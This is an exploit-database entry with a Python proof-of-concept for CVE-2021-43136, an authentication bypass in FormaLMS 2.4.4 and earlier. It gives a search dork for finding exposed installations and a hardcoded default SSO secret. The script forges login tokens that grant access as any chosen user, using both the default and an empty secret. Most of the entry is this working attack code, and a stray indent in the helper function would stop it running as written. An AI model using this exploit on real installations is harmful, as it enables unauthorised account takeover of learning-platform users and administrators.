FormaLMS 2.4.4 - Authentication Bypass

# Exploit Title: FormaLMS 2.4.4 - Authentication Bypass
# Google Dork: inurl:index.php?r=adm/
# Date: 2021-11-10
# Exploit Author: Cristian 'void' Giustini @ Hacktive Security
# Vendor Homepage: https://formalms.org
# Software Link:  https://formalms.org
# Version: <= 2.4.4
# Tested on: Linux
# CVE : CVE-2021-43136

# Info: An authentication bypass issue in FormaLMS <= 2.4.4 allows an attacker to bypass the authentication mechanism and obtain a valid access to the platform.

# Analysis:
https://blog.hacktivesecurity.com/index.php/2021/10/05/cve-2021-43136-formalms-the-evil-default-value-that-leads-to-authentication-bypass/

# Nuclei template:
https://gist.github.com/hacktivesec/d2160025d24c5689d1bc60173914e004#file-formalms-authbypass-yaml

#!/usr/bin/env python

"""

The following exploit generates two URLs with empty and fixed value of the "secret". In order to achieve a successful exploitation the "Enable SSO with a third party software through a token" setting needs to be enabled

"""

import sys
import time
import hashlib

secret = "8ca0f69afeacc7022d1e589221072d6bcf87e39c" 

 def help():

  print(f"Usage: {sys.argv[0]} username target_url")

  sys.exit()

 
if len(sys.argv) < 3:

    help()

user, url = (sys.argv[1], sys.argv[2])
t = str(int(time.time()) + 5000)
token = hashlib.md5(f"{user},{t},{secret}".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with default secret: {final_url}")
token = hashlib.md5(f"{user},{t},".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with empty secret: {final_url}")